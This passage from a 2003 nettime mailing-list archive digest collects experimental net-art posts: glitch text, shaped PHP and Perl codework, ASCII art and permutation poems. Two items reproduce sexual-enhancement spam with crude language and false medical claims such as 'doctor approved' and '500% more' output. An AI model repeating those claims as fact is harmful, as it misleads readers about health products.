s\nalt saved sands.assure asked assess edit vo(es (em(le darker.sus\n+++d success        green        g___hs        ||-s|        #w#\ntwl ]wn].[wl].[gu?s.++_ +++++ |_| .s b[s        =ll[g[.alert::bi\nt::steel        st.y d(+.(        =ms :::[[[: fct --ul-.l=(( su(\nh        sb.ly.s[!s ____s        :::?ils        lss.hs|s].[with.\npos_        =lc=h=l        will ?ixes        sxth .isi.g::wish\n      [s#[s::(]ss::- x_s i#?g#].[b+].[bds        ++s].[!ds\n  sid-s::s-.[wg        twsts].[#[].[bowl.sig[        _g_\neight woman.homes        bold reserve::resul+::capped.cake].[byt\n[s        g:        nerve frt sewed        no?        ]]]u].[dir\nty.dict]t] [ll filing:::d        u(i(y].[l::lkly l.s [l!\n|lg [lb h.gs [![[l.& --s:::::: d==s=        b_lt::||lyi|g byt=].\n[[[+[+i[        ||:di|g        l--        si[s wdd        w?=d\n      w.des        s+w+d        --w cools::look        ????| gro\nve !!!#        s#udi.s        p]l        __ws ti[[ use::usi(g].[\n& wi!!y].[axes        xn.sailors snt mouse ??d?l        &].[mist\n ?ld::bloody w#t.wlls::bl|#s::#i#|        h[==[d |||st.p#rsons.d\narkest d(-- :oin].[l#+d].[[([ly in].[=i!!! d[s::edify.# dt::lu||\ns #r        b?s( rings::ping bl-        s:::((u        [[un[ dds\n::(dding.i=::d(s        !+s+! _x l[v[[s leave        wi]] vir.ue\n!!s!::=is==l ne# ((t((.ss _==].[s__.. sys.!!.argue blows blend:\n:great g???t t[[[s].[(#(s.martian rents blush::plural].[?:::].[\n\n\n\n\n\nnettime unstable digest vol 73\nSat Nov  8 18:56:52 2003\n\n\nSubject: s*p^a%m m!a#c$h%i^n(e\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: GDE#12\n    From: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: ------------------\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: F/RST   /\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org,\n\nSubject: #24\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 9 Nov 2003 12:24:38 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200311091413.hA9EDCp12311 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0311/msg00019.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 73"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00000",
                "content": "\nDate:         Wed, 29 Oct 2003 02:30:13 +0100\nFrom: noemata <noemata {AT} KUNST.NO>\nSubject: src hangup\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n           <?\n        php                                 if (!$\n       st  r)  {                         ?>  <ht\n       m   l &g  t                ;  <form>  &\n       lt  ;  i   n        put type=submit value=\n       se  n  d>  <textarea cols= 90  row\n               s=25 name=str>       < ;/\n              textarea>  &        lt; /fo\n              rm>  &            lt; ?ph\n              p  }  $st           r   = s\n              tr_repla          ce( \\&q\n              uot;\\\\n\\        &qu ot;\n              , \\ &qu       ot;   \\\n              \",      htm len\n             tities(     tri m($\n            str)));     $s tr\n            = str_r   ep  la\n           ce(\\&quo t;\\\\r\\&\n           quot;, \\&q uot\n          ; \\\" ,$s\n          tr);  $  st\n         r = str_re\n         place(\\&q\n         uot ;\\\\\n         t\\& qu\n          o   t\n;, \\&q\nuot;\n                                \\\n                                &q\n                               uot;\n                              ,$str\n                              );  $i\n                              =0;$j=0\n                              ;  whil\n                              e ($i&l\n                             t;strlen\n                           ($str)) {\n                        if (!$ascii\n             or $j>=strlen($asci\n      i    )) {    $ascii = implode\n  (\\'\\', file (\\'http://127.0.0.1\n:8239/noemata/pre.txt/ascii.php\n \\'));    $j=0;   }   if (tr\n   im($ascii{$j})) {    $o\n        u      t .= $str{$\n                   i++};\n                       $\n                   j++;\n                     } e\n                lse {\n                $out .= $\n               ascii{$j++}\n                ;   }  }\n                 ?>\n                    <\npre>\n;  &l\n       t ; ?php e                      c  ho $o u\n       t; ?>                        &  l t;/pr\n       e  >            </        f  orm>\n            </       ht ml&g        t ;\n\n\n\nisbn 82-92428-13-5\n\n\n\nDate:         Wed, 29 Oct 2003 16:58:44 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: OMPHALOSOPHY 101\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n# # # # #\n\n----TITLE\n\n\nOMPHALOSOPHY 101\n\n\n----STATEMENT\n\n\nIt's probably been done before (nothing is new under the sun, alas), but I\nutilize here as source DATA for the program's OUTPUT the original program\nCODE itself in a snake-eating-its-own-tail kind of way.\n\nProcess: Every data-value of the original Perl code is paired with its\nneighbor(s), then sorted. (mwp)\n\n\n----DATA\n\n\n$text = '$tlen = length($text);\n\nfor ($ii = 0; $ii < $tlen; $ii++) {\n    $taaa[$ii] = substr($text, $ii, 2);\n}\n\n {AT} txaa = sort  {AT} taaa;\n\nfor ($ii = 0; $ii < $tlen; $ii++) {\n    print \"$txaa[$ii]\";\n}\n\nprint \"\\n\";\n\n';\n\n\n----OUTPUT\n\n\n    $    p\n\n\n\n\n\n\n\n\n\n\n\n\n\n {AT} \nf\nf\np\n}\n} \" \" $ $ $ $ $ $ $ $ ( ( 0 0 2 < < = = = = =  {AT}  l s s {\n{\"$\";\";\"\\$i$i$i$i$i$i$i$i$i$i$t$t$t$t$t$t$t($($($($) ) ););+)+)++++, ,\n0;0;2);\n;\n;\n;\n;\n; ; ; ; < < = = = = =  {AT} t {AT} t[$[$\\n\\n] ]\\a\na;a[a[aaaaaaaaaaaabsenenenenexexfofogth(i i i i i\ni+i+i,i]i]iiiiiiiiiiiiiiiiiiiiininlelelelen n\"n\"n;n;ngntntorororprprr r\nr(ririrtsostsut t t t)t,tatatetethtltltltrtxtxubxaxaxtxt{\n{\n}\n}\n\n\n\n\n----COPYRIGHT 2003\n\n\n\n(c) mwp\n\n\n\nFrom: Jukka-Pekka Kervinen <kkervinen {AT} mailcan.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: GDE#3\nDate: Sun, 26 Oct 2003 21:53:09 +0200\n\n\n*0'lely].[cNlTMgH].[doll].[;r,tQlEp'unO].[&].[fTu#\"MGaMaIm].\n[mJplM].[sWack].[Phale].[sy+bolsLsy1,ems].[LpMnk].[EaM].[liS\ned].[so!N>Lock].[soLOing {AT} EInce>lIyR&].[siSQsLLiSks].[FiS\"&].\n[miRic].[dimF=itcG].[di!PbJe>AIdge>deltQ].[irrKar)i$e>I$nder\n*LbMnusLblue].[?N&nk].[&].[fNimsyRaliasLOeJns].[Oerbal].[Oer\n0].[M+WckDMr,st,].[brSak].[&6word].[wor$].[fo&mFassetMaOch].\n[aOced].[aO$FLolWsLvice].[fKct\"o\"G&].[numKeSsLnu.MMQsk].[EIP\nTr].[hair].[has].[AatMAo$eT].[&6muster].[mu-!Sgs].[hElt].[Aa\ns].[LaFQ$].[saiS',].[s'rt,].[sonsLsaw].[pMw].[6].[=o!e>comed\ny].[roLmsLco'ts].[taKd\"R;?nks].[GevWS].[66IicSurS].[sic].[Fi\nce].[artMarmFar$y].[I!an'eE=p!&gged].[bJuff].[L%JPh].[smashA\niSOpt].[&].[i!suV].[Leat].[feature].[nKPtiJr].[nasa].[pin].[\nbanQs].[t+y].[dRy'ng {AT} &].[badge].[bath].[s$Wt,].[cloth].[seve\nnt!A;eaPtMbar].[c {AT} OeE].[&].[L(Ull].[spiS].[c {AT} nal].[:anesLcrS\nws].[crosses].[h&mn].[beaJNd].[&].[gas].[;Sgs].[bush].[gRWLe\nn].[ {AT} obble].[Kis#].[&].[vitalEGe!sLFoOels].[m!de].[m!\"kDston\ned].[Ltake>stQV].[s,Qy1].[MQs,U>t+eBQMtraAE>baCfleE].[dArk].\n[daOe].[lIOUe>Mall*RBHe>iHon&].[LcoutM>aOly].[eats].[mo*erKF\nRne].[part,LgOad].[fNaOe].[flITs].[dOt].[beeSsLheSsL\n\n\n\n\n\n\nDate:         Sat, 1 Nov 2003 02:48:07 -0800\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: ][noon]n]f/e/ns]/r]mmf[m[[[/]esms[]sey]]f/\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n][moon]n]fL/e/sH]/r]mimif[mi[[[/]Xesms[]seyF]]foo/\nhttp://www.izu.co.jp/~higane/datsueba.jpg\n\n[[//nf//]nm[n[/f]]]//y[s][/of]ffe[ysns]rs/e/mr]mmofy/[sy[[[/nmf][]y/smms//n\n]frns[nrns/yrsf//no/[n/]r/eys/fmff/]ymsrsnyyer]sm]]f][][[e[fm]f]ef/sf][r]nmy\n/[m[/]]e]/s]rrrmen/m/mfry]ororoneey[fe[/msmfn/noy[r[o/[/[m[]om/]o///]f/r\nffs///nnef]y/]][fr[[osff[of[m[[fssynmm]n[nrnny/]/my[]srenes[y[/yy[ryf/f]r]so\nrs]rf]]yf][syy]m[n[/nsrofon/[]n/ee[fs//myo]oy]rymmoen]mms/]m[/n/m//][s/\ny]soy[m]]of]sf]eoey/m/frnrerm/]o[m/e[]f]ys/rs/[f/]sf/y[]]y[res/[]/or[f[[[[f]\n/n\n//]msf]sy]r/r/e/m////[r]rn/]/[se[[yrsonen//fomfn/]]o/n]f]f[oo]oe/s[[/fm][nes\nn\nynyss[o/m]ssryeeff[/fr][om[]/e]n[oy[eorne][o/y][/f[f/o]emnse[]ee/[][s]]]]n\nn[[/s]r[m]/[mr]rrs]]/yfo//[[nfme]ommy/n[]nnff]ny]my][/e/ys[[ry[f/y[f]/frmof]\no]]rm[//]oof]/rnyeoor/m/ssr/mso[n//[/o/eeroenm][f[[[/fe[/]oefe]]y/o/]]n]fs\n]//ne]]yr]n[]]snm[[sem//[o[/]]ne/s[/[/rf[[om/[neesy[mo]]fs]r[f[se]s/[/y[yr/]\n[\nsf/[f/oynmoy]ns/]/[[o]r]y[][/]mee/mr]os]n]yyrerm[]][o[ysmr]noess]]moos\nr[fmfr[]nsofme[sf/[[[rn]/rny/]smmo[fenm/fyf//eyfroyon/mom]somm]][orms\n]s[[sfefonnf]]]]]]y]smsrmees[[]rms/rnsofm/r][n/r/[e]n/[frry///]en[n[//oer[me\n][[rf/n]]]/sms][sf[/yr]r]/r[]fo/fmm/[/]omrmoeey]ny/r]/y/ry]r[][n]eyy/yresf/e\nyoe]r/of/s/o]/es//[fnsfss]sy[]ymr[o/]s]yemr[m/f[f[/m[fnr//rms[/r]]oe]soe/]ee\nyy[][[no]]rmsm[/smf]n[r//s/srny[]oe]o][n[no/yfyfoy/]mmy[y]n/f[s[//]s]]o]y\nn]fmmy/e[]er]nf/]n]o[[]]e/ns/s]r[/r]ose]]]sfo]emm/me[m[//nmyno[[]rmm[o\nrnmy[n[rm]esne[/oe[r/sr/y]//[]oesen]r[[yn[r[feo[oermo[m]/f[s/m/m/s/m//o\ne]m[]nmfsy]ry[[/nmn/f/ys[/r]e]yr/]o/oeof]f]nsyo]snrseosym/]]f]rsyyysysfn\n\n][noon]n]f/e/ns]/r]mmf[m[[[/]esms[]sey]]f/\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: Confusion\nDate: Sat, 25 Oct 2003 12:41:12 -0400 (EDT)\n\n\n\n\nConfusion\n\n\nIt can be shown by straightforward substitution that the curves of parent\nand daughter activity cross at the exact time that the daughter activity\nis a maximum. [...] Parent Activity A1. Daughter Activity, A2.\n\nI. Fast Daughter, L2 = 10L1, T2 = T1/10\nII. Slow Daughter, L2 = .5L1, T2 = 2T1\n\nThe first daughter, Th, will grow into secular equilibrium with the U\nwithin a matter of days. This is illustrated by the \"fast-daughter\" (type\nI) curve of problem 9. After a few days we may consider the Th activity\nequal to the U activity, and go on to consider how the Pa grows in.\n\n(Above from Nuclear Physics, 1949-51, A Course Given by Enrico Fermi.)\n\n\n(Below from current spam.)\n\nS.URPRISE YOUR L.OVER TODAY! COVER HER WHOLE FACE WITH C.UM!\n\nFULLY DO.CTOR APP.ROVED! L.EARN MORE!\n\n507h1yxq155zbg79vc1419972v6034428d05q997287bmr1k\n930t4a03091bx3eu9oc8s320d8h364f62z388ll1e2sny54w\n\nj7o686vf4i5x01r852616664\nAin't no way there is a betrothal happening here...\n\nAmber is a very cynical person.\nptu6af78507h1yxq155zbg79vc1419972v6034428d05q997287bmr1k930t4a03091bx3eu\n9oc8s320d8h364f62z388ll1\n\nAin't no way there is a betrothal happening here...Ain't no way there is\na betrothal happening here...Amber is a very cynical person.Ain't no way\nthere is a betrothal happening here...\n\n\n___\n\n\nDate:         Sat, 25 Oct 2003 16:12:39 -0700\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: Vortex[t] Sh[r]edding\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nVortex[t] Sh[r]edding: combing \"factishes\" (faitiches)*\n\nit was sometime after they had made her mothwoman\nthis moken seagypsy woman of the mergui islands\nthey had taken in another kind of squall called kawthaung\nthat they would first bring out the heavy cape\nof brightly colored furs, feathers, moths, and tiny bright green votive\nboots,\ntiny crude glass bats, and a heavy red coral rod across the shoulders in\nwhich\nwas scrawled in rough cunieform:\nNIN-GIRIMMA, ONE CONCERNING SICK INNER PARTS\nthe 9 grimmers lined up on deck in soot paste with the leather sack\nin which was held the antideluvian jaw-bone aeolian lyre crown\nthe pulleys were oil'd with palm wine and donkey semen\nthe firefly lanterns were hung from the pitched totem-mast\nthe 9 grimmers cryed out faire-faire, faire-faire, faire-faire\nand then from a wooden hutch carved from a teak burl\nfrom a wooden hutch which looked like a deformed new-born\nthe hollow-clay livers full of ants were brought out\nand the blind albino aardvarks\nand the livers were smashed on deck\nand the drinking began\nthe moken mothwoman was hoisted up the pitchtotem\ntied by knotted orchid rope from the manus\nthe storm was licking up the edges of the sea\nthe 9 grimmers dumped the cauldrons of coals into the churning waters\nand the strings of the jawbone crown began to sing\nthe mothwoman's face was twisted into a smirk, her tongue lolled\nand she laughed, seeing only a waterfall of tiny lizards\nthe face of the approaching storm, the face of fog\nlit from within by the motherjunk, its great spidery pontoon legs\nlike rapt medusans in tribadic ectstasies\nattracting silver tokens\nlike moths to a lantern\n\n\n\n*from somewhere in the corpus of Bruno Latour\n\n\n\nDate:         Sun, 26 Oct 2003 21:49:50 +1100\nFrom: \"N.B.Twixt\" <netwurker {AT} HOTKEY.NET.AU>\nSubject: Re: Vortex[t] Sh[r]edding//_R[eal]t[ime]ex[t]e_:combining \"f.et(al)[w]ishes\"\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nAt 04:12 PM 25/10/2003 -0700, you wrote:\n>_R[eal]t[ime]ex[t]e_:combining \"f.et(al)[w]ishes\"\n>\n>IT wants vs soma.time.\n>His+Her[pes] gyp.ping[rates.thru.the.roof]\n>he had tokes.in[n]a.nother.kid[Aness]\n\n\n.\n\n\n>[Cat(ta.wawl)aracting.silver.data.dOTs\n>like-minded-[m]othas.2.ah.lite.realitE.vurr.(tor)sion\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nFrom: \"peter\" <cantsin {AT} zedat.fu-berlin.de>\nTo: <cantsin {AT} zedat.fu-berlin.de>\nSubject: Cu.rn as much as a pr0n star with these p.ills!\nDate: Mon, 27 Oct 2003 05:28:46 -0800\n\n         S.URPRISE YOUR L.OVER TODAY! COVER HER WHOLE FACE WITH C.UM!\n\n                            How w.ould you like to\n                          SHOOT LIKE THE PO.RN-STARS?\n                            Up to 500% more S.PERM!\n    * ADD UP_TO 500% MORE SPER.M\n    * MALE MULTIPLE ORGAS.MS\n    * HAVE M.ORE INTENSE 0.RGASMS\n    * PRODUCE ST.RONGER E.RECTIONS\n    * HAVE A STRONGER 5.EXUAL DESIRE\n    * 1.NCREASED S.E..XUAL STAMINA\n                     FULLY_DO.CTOR_APP.ROVED!_L.EARN_MORE!\n          100% GUARAN.TEED! NOT SAT1SFIED? YOU GET YOUR MONE.Y BACK!\n\n0k478i63s486ongg2lp275zm8q99p424l6479t7m4428765s3w7c2ua687\nj21zs5663dj6byf3ki7758x983573zg852c085600pu9m04ew5cc6892eq\n\n5hnarfwv33810k478i63s486ongg2\nAin't no way there is a betrothal happening here...\n\nI am always in a reverie during French class.\nlp275zm8q99p424l6479t7m4428765s3w7c2ua687j21zs5663dj6byf3ki7758x983573zg852c085600pu9m0\n4ew5cc6892eq5hnarfwv33810k478\n\n                        to be taken off our list, Here\n\n\nAin't no way there is a betrothal happening here...Ain't no way there is a\nbetrothal happening here... I am always in a reverie during French class. Ain't\nno way there is a betrothal happening here...\n\n\nDate:         Sun, 26 Oct 2003 09:33:42 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: De-quotation De-vice\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nDe-quotation De-vice\n\nThis is not a pipe.\n\"This\" is not a pipe.\nThis \"is\" not a pipe.\nThis is \"not\" a pipe.\nThis is not \"a\" pipe.\nThis is not a \"pipe.\"\n\"This is\" not a pipe.\n\"This\" is \"not\" a pipe.\n\"This\" is not \"a\" pipe.\n\"This\" is not a \"pipe.\"\nThis \"is not\" a pipe.\nThis \"is\" not \"a\" pipe.\nThis \"is\" not a \"pipe.\"\nThis is \"not a\" pipe.\nThis is \"not\" a \"pipe.\"\nThis is not \"a pipe.\"\n\"This is not\" a pipe.\n\"This is\" not \"a\" pipe.\n\"This is\" not a \"pipe.\"\nThis \"is not a\" pipe.\nThis \"is not\" a \"pipe.\"\nThis is \"not a pipe.\"\n\"This is not a\" pipe.\n\"This is not\" a \"pipe.\"\nThis \"is not a\" pipe.\nThis \"is not\" a \"pipe.\"\nThis is \"not a pipe.\"\n\"This is not a\" pipe.\n\"This is not\" a \"pipe.\"\nThis \"is not a pipe.\"\n\"This is not a pipe.\"\n\n\n\n(c) mwp\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org,audiovision {AT} egroups.com\nFrom: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\nSubject: _P[l]oly.Phon[e Ton]ic_\nDate: Mon, 27 Oct 2003 08:32:28 +1100\n\n\n_Post[Modern]S.[D]Crypta_ 08:29am 27/10/2003\n\n\n-- pidgin screaming as.hawk[vs dove-taking] ripsNshreds\n\n-- crow.eye.con[ned]tacting & arial.flock.+swarm.[visual]dribbling\n\n-- my.heart.goes.all..p[l]oly.phon[e ton]ic\n\n\n+A.M[das radio]erican.musicality.drenched.in.ebony.goodness\n+Hutch.drunk. + .warm.scum.audio.lustings\n+cHip.[e]Motion[s]ality\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nDate:         Mon, 27 Oct 2003 17:40:36 -0800\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: Asynchronous Satellite Hookup\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\nAsynchronous Satellite Hookup =\n+\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ASH.,ccc$$hcccccc,. =\n`';,.,;-------''''''' ,;;!!!'``,;;!!' ;;;ASH ,;;!!- .zJ$$$$$$$$$!!!!' =\n,; ```' -;;;!'$$$$$$$$$$c,. `' ,;;ASH''''- `.,.. .zJ$$$$$$c, `!!'' ,;!!' =\n!!- $$$$$$$$$$$$$$$$$$$$ASH' `,;;;;;;;;;;'''''`$$$$$$$$$$$$$$$$$c, ``' =\n,c$$$$$$$$$$$$$$ASH;!!'' ,; =\n,;;;!!!!!!!$$$$$???\"\"\"\"\"'.,.`\"!''``.,;;;;!'`' z$$$ASH?$$$$$$$$$$$ =\n``,;;!!! J$$$$$$??,zcd$$$$$! ;;.. --''``` =\n..,;;ASH$$$$$$$$$$$$$$$$$$$h``.,.,;;, ,$$$$$$F,z ``'``' ```''' =\n,;;''ASH$$$$$$$$$$$$$$$$$$$c, --`!''''''' $$$$$$,`\"\"?$$$$$h =\n!!!!;;;;ASH$$$$$$$$$$$$$$$$$$$$'''``.,;;;!;;;--;; z$$$$$$$h.`\"$$$$h . =\n`ASHF,$$$$$$$$$$?????$$$?$$$ $. !;.,..,.````$$$$$$$$$$?????$$r =\n;ASH.,;;;; ,$P'J\"$$$$$$P,cc, `?h.`$$$$ $L '`\" =\n.,c,.J$$$$$$$$$\"'ASH`````' .,.. ,$$\". $ $$$$',$$$$$$$$$$ =\n$$$$$$$P\",c$$$$$$$$$$$$ASH$ $$c, !!!!!!!!!!!!!$$$$$$$$$$$$$$$$,$$$''' =\nJ$',$ $.`$$P c$$ASH$$$$$$$$ $$$$ $$$$C $???$$$$$$$$$$$$$$$?`` J$ ,$P $$ =\n?$',$$$ASH?\"\"\"?$$$ <$$$ $$$$$ \" \"$$$.?$$$ $$$P c??c ;, z$F,$$ `$$ $ =\n?$ASHc, ?$.<$$',$$$$$F $$$ $ F ,=3D\"?$$c,`$$F $h. -!> (' $\" $F ,F =\n?ASH$\"z$$',$' ,$$P $h.`$`' J$ $P J$ . $$F L  ?$$$$$r $$$$$hc,. =\n`ASH\",J$$$F <$hc$$ \"$L,$ $$$$$$$$$$c,'' ?F,`??????,J$$$.` =\nz$$$$ASH$',$F.: $$ c$c,,,c$$$$$$F. $$$$$$ `\"$$,J$$$$$$$ =\n?$$$c,,cASH$$$$$$$$$c, $$',$$ :$$$$h ?$$$L;;$$$??$$: =\n$$$$$$$$F\"',$$$$$$ASH$$ $$$$$$ \"?$$$$$$$$$$$$$$$$\"\"\"\"?\"\"\"h $$$$ $$$$$$ : =\n.`F\"$$$$ASH$$$$$\"$,J$$$$ $$$$$'` h `$$$$$$$$$$$cccc \"?$$$$$$$ =\n$$$$$$.`.ASH$$c,zJ$$$$$P' $$$$$P$$$$$ ` \"$c \"?$$$$$$',$$$$P $. `\"\"?$$ =\n$$ASH$$$$$$??$$$$$$$$\" ,J$$$$$$h ?$$c.`?$$$$$$$$P\",J$$$$P .. `\" =\n?ASH$$$$' . <$$$$$' ,$$$$$$$$h . \"$$$c,\"$$$$\" ,$$$$$\" !!>. . `$$ASH$$$' =\n`' `$$$P ,$$$'  `$$$$$$$c \"$$$c`?$$,c$$$$$' ;! ``ASHASHASH$$$ : : $$$ =\n,$$P' z$; `$$$$$$$. ?$$c ?$$$$$$$' ;!! $hcx ```'ASH $$ .: : $$$ $$F =\n,J$$$$$$$ \"$$h`$$$$ .' '$$$$' ;!! .,.. ' `$$ASH $$$ ,$$ ,J$$$$$$' !$ =\n$$$F :.: J$$P J$F !! ????P `$$$$$$L $$ASHJ$$$$$P ;!! -=3D< ?$$.F $P =\n$$$$$$' !!' cc \"$$ `$$ ?$$' `' z$$$ASH`$$$c`? ?$.`$$hc, cd$$$c =\n`$$c$$$$$$$$$\",$$F ,$' $$$$$$ ;!! $ASHc$' $$$$$$ `!! $$$$$$$$$> .. $$$$$ =\n`\"?$$ `?$$$$$$$$$$$$P' $$ASH$$$$$P\" $$$$$$L $$c, \\ / / \\ / /........ // =\n..--~~~--.. \\\\ /ASH\\ /........ \\ /............. .''.\"... ...... \\ ; . . =\n. . / .ASH. . ..~. .' / .............. \\ ~. . ..--.. . ~ . ' . / \\ .' =\nASH-. . / \\ \\........ /. ~~~ \\ .'\\ \\....... / / . /\\ /\\ '\"\"\" ..ASH. / =\n/'. // ~-. ./ -\\ '. / .\\ , (\\ , , `7 ..~ .~\\\\ \\ \\ / / //ASH / \\ /) .-' =\n\\\\ )\\ /),-' .---'\\\\ (/ (6\\>  , <----) )---<< // ASH// / / \\ , , , / )\\ =\n/. \\/\\/ /\\ =3D/=3D / / /// ,' .--' \\\\ /` /\\>ASH \\ // \\\\ / , //\\ \\>', , \\ =\n// \\\\ \\ ('o )> , / ,/ / ) `0 / / /ASH )\\ /) \\/ \\\\ / /o/o 0\\> , /,/ / '/ =\n\\j / /- // \\\\ `7 / / (/ (ASHo<\\>>o ..--'' -. `` =\n-..---..--''.---..--``--.. '-.-..---..--ASH-..---..---..---..--: :: :: =\n:: :: :: :: -..---.-' :: :: :: :ASH:: '.--.':'.--.' '.---.' '.--.' =\n'.--.' '-.' '.--.' '.--.' '.ASH' . . '' -. '' '' ''' '' '' '' '' '' . ' =\n'' '' . . '' '' . 'ASH' '' . . '' '' '' '' '' . '' '' '' '' /  '' , '' . =\n. '' '' .ASH. '' . '' '' . . '' . '' '' . . '' '' . '' `. '' ,--' '' =\n``-ASH'' . '' '' '' '' . ''' '' '' '' . . '' '' . '' '' . . '' '' ASH' . =\n'' . '' '' '' '' '' '' '' '' '' . .  . '' . '' '' . . ''ASH'' '' . '' ' =\n'' '' ' '' '' '' '' ' . '' ' -. '' . '' '/ ) ''ASH.-' `-' =\n--''''----''-''''---''''-. .'---''----''''----''''--ASH =\n,''--.,----------------------'. '----- -------.------------ASH/ - - - - =\n- - - - ,-----------'--. - =\n\\------------LASHhttp://www.fi.muni.cz/~pavlina/gifs/perito.jpgLocal\n\n\n\nDate: Sat, 25 Oct 2003 13:34:14 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: blown\n\nBLOWHOLE\n        BE HOLLOW\nELOH OWL B\n        BLEW LHOOq\nHOBO WELL\n        HELLO BOW\nWOOB HELL\n        HOW BELLO\nHOLO WEB L\n        LOBE HOWL\nLO & BEHOLW!\n        BOWL-O-HEL\n\n                                   s\n\n                t h e~univ ~~~~e ~~~~c ~~~~a ~~~~tion\n\n\n                   ~~~~~~~, ~~~~~~t ~~~~~~h ~~~~~~e\n\n   ~~~~~~t ~~~~~~e ~~~~~~l ~~~~~~e ~~~~~~n ~~~~~~t ~~~~~~r ~~~~~~i\n     ~~~~~~c ~~~~~~i ~~~~~~t ~~~~~~y tric e~~~f~~o mg~lritne ~~~,\n\n\n                            ~~~t ~~~h ~~~e\n\n                          ~~~c ~~~y eht~,elc\n\n                              c a~eht d\n\n                   i visitn binvis l~i~mit b l e ,\n\n                                t h e\n\n                        ndop a~~a ~~t ~~h ~~,\n\n      ~~t te~tir eam~O~~~t~~~i~e ythe~smstcenns e~~~~~~,noitcen\n s~~~~~~~~~~~~on e,~rrto nd~osoml i~~taroc n~sirselo e~90~is~energv,\n      h~~~~~~~~~~~~e t~~~~~~~~~~~~r ~~y ~~t ~~h ~~i ~~n ~~g ~~,\n\n                         ~~E ~~v ~~e ~~n ~~,\n\n                           ~~E ~~v ~~e ~~n\n\n                                ~~Etc.\n~~~~~~~\n\n\nblown\nisbn 82-92428-08-9\n\n\n\nDate:         Mon, 27 Oct 2003 00:34:00 -0800\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Abrickity\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nESSA/GEDELAYEDMESSAGEDFLAYEDMESSAGERELA\nED\nME\n\n> A >?|||||||||SH!CRO>?||||||||||FT A>?\n>SHTR>?|||||||||AY! si>?|||||||||L'AR>?\n>A>?||||||||||||!C! !(0)>|||||||||ROF>?\n>TWO>?||||||||||U'uLatingo.o.o.o snif>?\n>D//N'T SAY(L)yenyaAWAY>?|||||ovi/deo>?\n> monTiBUTtoor\n> PytintinCROW\n> flo(LASH)Cha\n> ROfhe.lo\"he.lo\"he.lo\"he.lo\"\nTHOWheu.lo\"he.lo\"he.lo\"he.lo\"\npsLaSTe.lo\"he.lo\"he.lo\"he.lo\"\nHE WOhe.lo\"he.lo\"he.lo\"he.lo\"\nLF AShe.lo\"he.lo\"he.lo\"he.lo\"> T\n         o\n        o\n     o\n   o\n o\no   o    .  o\n      o\n    .     o.\n o    o    o o  ooo o.\n               o.\n   o     o .       o  o o  .o ooo    .  o\n\n   .    .             o      o\n                o     .\n       o      o   .  o\n     .                 o...\n o        o     o   .   o\n.\n                     .     o\n  o     o   . o     o.\n\n                  o   o o\n      o\n.\n        .  o     o.\n\n    o    o    o\n\no   o    .  o\n      o\n    .     o.\n o    o    o o  oo o.\n               o.\n   o     o .       o  o o  .o     .  o\n\n   .    .             o      o\n                o     .\n       o      o   .\n     .                 o.o\n o        o     o   .   o\n.o\n                   o  .    o o\n  o     o   . o     o.\n\n            o.      o   o o o\n      o\n.\n        .  o     o.\n\n    o    